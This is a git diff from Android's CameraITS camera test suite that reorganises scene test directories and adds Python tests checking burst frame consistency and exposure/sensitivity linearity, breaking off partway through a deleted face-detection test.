diff --git a/apps/CameraITS/tests/scene1/test_3a.py b/apps/CameraITS/tests/scene1_1/test_3a.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_3a.py
rename to apps/CameraITS/tests/scene1_1/test_3a.py
diff --git a/apps/CameraITS/tests/scene1/test_ae_af.py b/apps/CameraITS/tests/scene1_1/test_ae_af.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ae_af.py
rename to apps/CameraITS/tests/scene1_1/test_ae_af.py
diff --git a/apps/CameraITS/tests/scene1/test_ae_precapture_trigger.py b/apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ae_precapture_trigger.py
rename to apps/CameraITS/tests/scene1_1/test_ae_precapture_trigger.py
diff --git a/apps/CameraITS/tests/scene1/test_auto_vs_manual.py b/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_auto_vs_manual.py
rename to apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
diff --git a/apps/CameraITS/tests/scene1/test_black_white.py b/apps/CameraITS/tests/scene1_1/test_black_white.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_black_white.py
rename to apps/CameraITS/tests/scene1_1/test_black_white.py
diff --git a/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py b/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
new file mode 100644
index 0000000..c82039f
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
@@ -0,0 +1,111 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+import its.caps
+import its.device
+import its.image
+import its.objects
+import its.target
+
+from matplotlib import pylab
+import matplotlib.pyplot
+import numpy
+
+API_LEVEL_30 = 30
+BURST_LEN = 50
+BURSTS = 5
+COLORS = ["R", "G", "B"]
+FRAMES = BURST_LEN * BURSTS
+NAME = os.path.basename(__file__).split(".")[0]
+SPREAD_THRESH = 0.03
+SPREAD_THRESH_API_LEVEL_30 = 0.02
+
+
+def main():
+ """Take long bursts of images and check that they're all identical.
+
+ Assumes a static scene. Can be used to idenfity if there are sporadic
+ frames that are processed differently or have artifacts. Uses manual
+ capture settings.
+ """
+
+ with its.device.ItsSession() as cam:
+
+ # Capture at the smallest resolution.
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.compute_target_exposure(props) and
+ its.caps.per_frame_control(props))
+ debug = its.caps.debug_mode()
+
+ _, fmt = its.objects.get_fastest_manual_capture_settings(props)
+ e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
+ req = its.objects.manual_capture_request(s, e)
+ w, h = fmt["width"], fmt["height"]
+
+ # Capture bursts of YUV shots.
+ # Get the mean values of a center patch for each.
+ # Also build a 4D array, which is an array of all RGB images.
+ r_means = []
+ g_means = []
+ b_means = []
+ imgs = numpy.empty([FRAMES, h, w, 3])
+ for j in range(BURSTS):
+ caps = cam.do_capture([req]*BURST_LEN, [fmt])
+ for i, cap in enumerate(caps):
+ n = j*BURST_LEN + i
+ imgs[n] = its.image.convert_capture_to_rgb_image(cap)
+ tile = its.image.get_image_patch(imgs[n], 0.45, 0.45, 0.1, 0.1)
+ means = its.image.compute_image_means(tile)
+ r_means.append(means[0])
+ g_means.append(means[1])
+ b_means.append(means[2])
+
+ # Dump all images if debug
+ if debug:
+ print "Dumping images"
+ for i in range(FRAMES):
+ its.image.write_image(imgs[i], "%s_frame%03d.jpg"%(NAME, i))
+
+ # The mean image.
+ img_mean = imgs.mean(0)
+ its.image.write_image(img_mean, "%s_mean.jpg"%(NAME))
+
+ # Plot means vs frames
+ frames = range(FRAMES)
+ pylab.title(NAME)
+ pylab.plot(frames, r_means, "-ro")
+ pylab.plot(frames, g_means, "-go")
+ pylab.plot(frames, b_means, "-bo")
+ pylab.ylim([0, 1])
+ pylab.xlabel("frame number")
+ pylab.ylabel("RGB avg [0, 1]")
+ matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+
+ # determine spread_thresh
+ spread_thresh = SPREAD_THRESH
+ if its.device.get_first_api_level() >= API_LEVEL_30:
+ spread_thresh = SPREAD_THRESH_API_LEVEL_30
+
+ # PASS/FAIL based on center patch similarity.
+ for plane, means in enumerate([r_means, g_means, b_means]):
+ spread = max(means) - min(means)
+ msg = "%s spread: %.5f, spread_thresh: %.3f" % (
+ COLORS[plane], spread, spread_thresh)
+ print msg
+ assert spread < spread_thresh, msg
+
+if __name__ == "__main__":
+ main()
+
diff --git a/apps/CameraITS/tests/scene1/test_capture_result.py b/apps/CameraITS/tests/scene1_1/test_capture_result.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_capture_result.py
rename to apps/CameraITS/tests/scene1_1/test_capture_result.py
diff --git a/apps/CameraITS/tests/scene1/test_channel_saturation.py b/apps/CameraITS/tests/scene1_1/test_channel_saturation.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_channel_saturation.py
rename to apps/CameraITS/tests/scene1_1/test_channel_saturation.py
diff --git a/apps/CameraITS/tests/scene1/test_crop_region_raw.py b/apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_crop_region_raw.py
rename to apps/CameraITS/tests/scene1_1/test_crop_region_raw.py
diff --git a/apps/CameraITS/tests/scene1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_crop_regions.py
rename to apps/CameraITS/tests/scene1_1/test_crop_regions.py
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_dng_noise_model.py
rename to apps/CameraITS/tests/scene1_1/test_dng_noise_model.py
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ev_compensation_advanced.py
rename to apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
diff --git a/apps/CameraITS/tests/scene1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_ev_compensation_basic.py
rename to apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
diff --git a/apps/CameraITS/tests/scene1_1/test_exposure.py b/apps/CameraITS/tests/scene1_1/test_exposure.py
new file mode 100644
index 0000000..bf52d6f
--- /dev/null
+++ b/apps/CameraITS/tests/scene1_1/test_exposure.py
@@ -0,0 +1,220 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+import its.target
+import matplotlib
+from matplotlib import pylab
+import numpy
+
+IMG_STATS_GRID = 9 # find used to find the center 11.11%
+NAME = os.path.basename(__file__).split('.')[0]
+NUM_PTS_2X_GAIN = 3 # 3 points every 2x increase in gain
+THRESHOLD_MAX_OUTLIER_DIFF = 0.1
+THRESHOLD_MIN_LEVEL = 0.1
+THRESHOLD_MAX_LEVEL = 0.9
+THRESHOLD_MAX_LEVEL_DIFF = 0.045
+THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE = 0.06
+THRESH_ROUND_DOWN_GAIN = 0.1
+THRESH_ROUND_DOWN_EXP = 0.03
+THRESH_ROUND_DOWN_EXP0 = 1.00 # tol at 0ms exp; theoretical limit @ 4-line exp
+THRESH_EXP_KNEE = 6E6 # exposures less than knee have relaxed tol
+
+
+def find_fit_and_check(chan, mults, values, thresh_max_level_diff):
+ """Find line fit and check values.
+
+ Check for linearity. Verify sample pixel mean values are close to each
+ other. Also ensure that the images aren't clamped to 0 or 1
+ (which would make them look like flat lines).
+
+ Args:
+ chan: [0:2] RGB channel
+ mults: list of multiplication values for gain*m, exp/m
+ values: mean values for chan
+ thresh_max_level_diff: threshold for max difference
+ """
+
+ m, b = numpy.polyfit(mults, values, 1).tolist()
+ max_val = max(values)
+ min_val = min(values)
+ max_diff = max_val - min_val
+ print 'Channel %d line fit (y = mx+b): m = %f, b = %f' % (chan, m, b)
+ print 'Channel max %f min %f diff %f' % (max_val, min_val, max_diff)
+ e_msg = 'max_diff: %.4f, THRESH: %.3f' % (
+ max_diff, thresh_max_level_diff)
+ assert max_diff < thresh_max_level_diff, e_msg
+ e_msg = 'b: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+ b, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
+ assert THRESHOLD_MAX_LEVEL > b > THRESHOLD_MIN_LEVEL, e_msg
+ for v in values:
+ e_msg = 'v: %.2f, THRESH_MIN: %.1f, THRESH_MAX: %.1f' % (
+ v, THRESHOLD_MIN_LEVEL, THRESHOLD_MAX_LEVEL)
+ assert THRESHOLD_MAX_LEVEL > v > THRESHOLD_MIN_LEVEL, e_msg
+ e_msg = 'v: %.2f, b: %.2f, THRESH_MAX_OUTLIER_DIFF: %.1f' % (
+ v, b, THRESHOLD_MAX_OUTLIER_DIFF)
+ assert abs(v - b) < THRESHOLD_MAX_OUTLIER_DIFF, e_msg
+
+
+def get_raw_active_array_size(props):
+ """Return the active array w, h from props."""
+ aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
+ props['android.sensor.info.preCorrectionActiveArraySize']['left'])
+ aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
+ props['android.sensor.info.preCorrectionActiveArraySize']['top'])
+ return aaw, aah
+
+
+def main():
+ """Test that a constant exposure is seen as ISO and exposure time vary.
+
+ Take a series of shots that have ISO and exposure time chosen to balance
+ each other; result should be the same brightness, but over the sequence
+ the images should get noisier.
+ """
+ mults = []
+ r_means = []
+ g_means = []
+ b_means = []
+ raw_r_means = []
+ raw_gr_means = []
+ raw_gb_means = []
+ raw_b_means = []
+ threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
+ its.caps.skip_unless(its.caps.compute_target_exposure(props))
+ sync_latency = its.caps.sync_latency(props)
+ process_raw = its.caps.raw16(props) and its.caps.manual_sensor(props)
+ debug = its.caps.debug_mode()
+ largest_yuv = its.objects.get_largest_yuv_format(props)
+ if debug:
+ fmt = largest_yuv
+ else:
+ match_ar = (largest_yuv['width'], largest_yuv['height'])
+ fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+
+ e, s = its.target.get_target_exposure_combos(cam)['minSensitivity']
+ s_e_product = s*e
+ expt_range = props['android.sensor.info.exposureTimeRange']
+ sens_range = props['android.sensor.info.sensitivityRange']
+
+ m = 1.0
+ while s*m < sens_range[1] and e/m > expt_range[0]:
+ mults.append(m)
+ s_test = round(s*m)
+ e_test = s_e_product / s_test
+ print 'Testing s:', s_test, 'e:', e_test
+ req = its.objects.manual_capture_request(
+ s_test, e_test, 0.0, True, props)
+ cap = its.device.do_capture_with_latency(
+ cam, req, sync_latency, fmt)
+ s_res = cap['metadata']['android.sensor.sensitivity']
+ e_res = cap['metadata']['android.sensor.exposureTime']
+ # determine exposure tolerance based on exposure time
+ if e_test >= THRESH_EXP_KNEE:
+ thresh_round_down_exp = THRESH_ROUND_DOWN_EXP
+ else:
+ thresh_round_down_exp = (
+ THRESH_ROUND_DOWN_EXP +
+ (THRESH_ROUND_DOWN_EXP0 - THRESH_ROUND_DOWN_EXP) *
+ (THRESH_EXP_KNEE - e_test) / THRESH_EXP_KNEE)
+ s_msg = 's_write: %d, s_read: %d, TOL=%.f%%' % (
+ s_test, s_res, THRESH_ROUND_DOWN_GAIN*100)
+ e_msg = 'e_write: %.3fms, e_read: %.3fms, TOL=%.f%%' % (
+ e_test/1.0E6, e_res/1.0E6, thresh_round_down_exp*100)
+ assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
+ assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
+ s_e_product_res = s_res * e_res
+ request_result_ratio = float(s_e_product) / s_e_product_res
+ print 'Capture result s:', s_res, 'e:', e_res
+ img = its.image.convert_capture_to_rgb_image(cap)
+ its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
+ tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
+ rgb_means = its.image.compute_image_means(tile)
+ # Adjust for the difference between request and result
+ r_means.append(rgb_means[0] * request_result_ratio)
+ g_means.append(rgb_means[1] * request_result_ratio)
+ b_means.append(rgb_means[2] * request_result_ratio)
+ # do same in RAW space if possible
+ if process_raw and debug:
+ aaw, aah = get_raw_active_array_size(props)
+ fmt_raw = {'format': 'rawStats',
+ 'gridWidth': aaw/IMG_STATS_GRID,
+ 'gridHeight': aah/IMG_STATS_GRID}
+ raw_cap = its.device.do_capture_with_latency(
+ cam, req, sync_latency, fmt_raw)
+ r, gr, gb, b = its.image.convert_capture_to_planes(
+ raw_cap, props)
+ raw_r_means.append(r[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+ * request_result_ratio)
+ raw_gr_means.append(gr[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+ * request_result_ratio)
+ raw_gb_means.append(gb[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+ * request_result_ratio)
+ raw_b_means.append(b[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
+ * request_result_ratio)
+ # Test 3 steps per 2x gain
+ m *= pow(2, 1.0 / NUM_PTS_2X_GAIN)
+
+ # Allow more threshold for devices with wider exposure range
+ if m >= 64.0:
+ threshold_max_level_diff = THRESHOLD_MAX_LEVEL_DIFF_WIDE_RANGE
+
+ # Draw plots
+ pylab.figure('rgb data')
+ pylab.semilogx(mults, r_means, 'ro-')
+ pylab.semilogx(mults, g_means, 'go-')
+ pylab.semilogx(mults, b_means, 'bo-')
+ pylab.title(NAME + 'RGB Data')
+ pylab.xlabel('Gain Multiplier')
+ pylab.ylabel('Normalized RGB Plane Avg')
+ pylab.minorticks_off()
+ pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
+ pylab.ylim([0, 1])
+ matplotlib.pyplot.savefig('%s_plot_means.png' % (NAME))
+
+ if process_raw and debug:
+ pylab.figure('raw data')
+ pylab.semilogx(mults, raw_r_means, 'ro-', label='R')
+ pylab.semilogx(mults, raw_gr_means, 'go-', label='GR')
+ pylab.semilogx(mults, raw_gb_means, 'ko-', label='GB')
+ pylab.semilogx(mults, raw_b_means, 'bo-', label='B')
+ pylab.title(NAME + 'RAW Data')
+ pylab.xlabel('Gain Multiplier')
+ pylab.ylabel('Normalized RAW Plane Avg')
+ pylab.minorticks_off()
+ pylab.xticks(mults[0::NUM_PTS_2X_GAIN], mults[0::NUM_PTS_2X_GAIN])
+ pylab.ylim([0, 1])
+ pylab.legend(numpoints=1)
+ matplotlib.pyplot.savefig('%s_plot_raw_means.png' % (NAME))
+
+ for chan in xrange(3):
+ values = [r_means, g_means, b_means][chan]
+ find_fit_and_check(chan, mults, values, threshold_max_level_diff)
+ if process_raw and debug:
+ for chan in xrange(4):
+ values = [raw_r_means, raw_gr_means, raw_gb_means,
+ raw_b_means][chan]
+ find_fit_and_check(chan, mults, values, threshold_max_level_diff)
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene1/test_jpeg.py b/apps/CameraITS/tests/scene1_1/test_jpeg.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_jpeg.py
rename to apps/CameraITS/tests/scene1_1/test_jpeg.py
diff --git a/apps/CameraITS/tests/scene1/test_latching.py b/apps/CameraITS/tests/scene1_1/test_latching.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_latching.py
rename to apps/CameraITS/tests/scene1_1/test_latching.py
diff --git a/apps/CameraITS/tests/scene1/test_linearity.py b/apps/CameraITS/tests/scene1_1/test_linearity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_linearity.py
rename to apps/CameraITS/tests/scene1_1/test_linearity.py
diff --git a/apps/CameraITS/tests/scene1/test_locked_burst.py b/apps/CameraITS/tests/scene1_1/test_locked_burst.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_locked_burst.py
rename to apps/CameraITS/tests/scene1_1/test_locked_burst.py
diff --git a/apps/CameraITS/tests/scene1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_multi_camera_match.py
rename to apps/CameraITS/tests/scene1_1/test_multi_camera_match.py
diff --git a/apps/CameraITS/tests/scene1/test_param_color_correction.py b/apps/CameraITS/tests/scene1_1/test_param_color_correction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_color_correction.py
rename to apps/CameraITS/tests/scene1_1/test_param_color_correction.py
diff --git a/apps/CameraITS/tests/scene1/test_param_exposure_time.py b/apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_exposure_time.py
rename to apps/CameraITS/tests/scene1_1/test_param_exposure_time.py
diff --git a/apps/CameraITS/tests/scene1/test_param_flash_mode.py b/apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_flash_mode.py
rename to apps/CameraITS/tests/scene1_1/test_param_flash_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_param_noise_reduction.py b/apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_noise_reduction.py
rename to apps/CameraITS/tests/scene1_1/test_param_noise_reduction.py
diff --git a/apps/CameraITS/tests/scene1/scene1.pdf b/apps/CameraITS/tests/scene1_2/scene1_2.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1_0.5_scaled.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf b/apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
similarity index 100%
copy from apps/CameraITS/tests/scene1/scene1_0.67_scaled.pdf
copy to apps/CameraITS/tests/scene1_2/scene1_2_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene1/test_param_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_param_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_shading_mode.py
rename to apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_param_tonemap_mode.py
rename to apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
diff --git a/apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_post_raw_sensitivity_boost.py
rename to apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_exposure.py b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_exposure.py
rename to apps/CameraITS/tests/scene1_2/test_raw_exposure.py
diff --git a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_raw_sensitivity.py
rename to apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
diff --git a/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py b/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py
rename to apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
diff --git a/apps/CameraITS/tests/scene1/test_tonemap_sequence.py b/apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_tonemap_sequence.py
rename to apps/CameraITS/tests/scene1_2/test_tonemap_sequence.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_jpeg_all.py b/apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_jpeg_all.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_jpeg_all.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_dng.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_dng.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_dng.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_jpeg.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_jpeg.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_jpeg.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw10.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
diff --git a/apps/CameraITS/tests/scene1/test_yuv_plus_raw12.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
similarity index 100%
rename from apps/CameraITS/tests/scene1/test_yuv_plus_raw12.py
rename to apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
diff --git a/apps/CameraITS/tests/scene2/SampleTarget.jpg b/apps/CameraITS/tests/scene2_a/SampleTarget.jpg
similarity index 100%
rename from apps/CameraITS/tests/scene2/SampleTarget.jpg
rename to apps/CameraITS/tests/scene2_a/SampleTarget.jpg
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2.pdf b/apps/CameraITS/tests/scene2_a/scene2_a.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/scene2_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2/scene2_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_a/scene2_a_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_a/test_auto_per_frame_control.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_auto_per_frame_control.py
rename to apps/CameraITS/tests/scene2_a/test_auto_per_frame_control.py
diff --git a/apps/CameraITS/tests/scene2/test_effects.py b/apps/CameraITS/tests/scene2_a/test_effects.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_effects.py
rename to apps/CameraITS/tests/scene2_a/test_effects.py
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2_a/test_faces.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_faces.py
rename to apps/CameraITS/tests/scene2_a/test_faces.py
diff --git a/apps/CameraITS/tests/scene2/test_format_combos.py b/apps/CameraITS/tests/scene2_a/test_format_combos.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_format_combos.py
rename to apps/CameraITS/tests/scene2_a/test_format_combos.py
diff --git a/apps/CameraITS/tests/scene2/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
similarity index 100%
rename from apps/CameraITS/tests/scene2/test_num_faces.py
rename to apps/CameraITS/tests/scene2_a/test_num_faces.py
diff --git a/apps/CameraITS/tests/scene2b/scene2b.pdf b/apps/CameraITS/tests/scene2_b/scene2_b.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/scene2b_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/scene2b_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2b/scene2b_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_b/scene2_b_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c.pdf b/apps/CameraITS/tests/scene2_c/scene2_c.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c_0.5_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c_0.5_scaled.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2c/scene2c_0.67_scaled.pdf b/apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
similarity index 100%
rename from apps/CameraITS/tests/scene2c/scene2c_0.67_scaled.pdf
rename to apps/CameraITS/tests/scene2_c/scene2_c_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2b/test_num_faces.py b/apps/CameraITS/tests/scene2b/test_num_faces.py
deleted file mode 100644
index 044c154..0000000
--- a/apps/CameraITS/tests/scene2b/test_num_faces.py
+++ /dev/null
@@ -1,100 +0,0 @@
-# Copyright 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os.path
-import cv2
-import its.caps
-import its.device
-import its.image
-import its.objects
-
-NAME = os.path.basename(__file__).split('.')[0]
-NUM_TEST_FRAMES = 20
-NUM_FACES = 3
-FD_MODE_OFF = 0
-FD_MODE_SIMPLE = 1
-FD_MODE_FULL = 2
-W, H = 640, 480
-
-
-def main():
- """Test face detection."""
- with its.device.ItsSession() as cam:
- props = cam.get_camera_properties()
- its.caps.skip_unless(its.caps.face_detect(props))
- mono_camera = its.caps.mono_camera(props)
- fd_modes = props['android.statistics.info.availableFaceDetectModes']
- a = props['android.sensor.info.activeArraySize']
- aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
-
- if its.caps.read_3a(props):
- _, _, _, _, _ = cam.do_3a(get_results=True,
- mono_camera=mono_camera)
-
- for fd_mode in fd_modes:
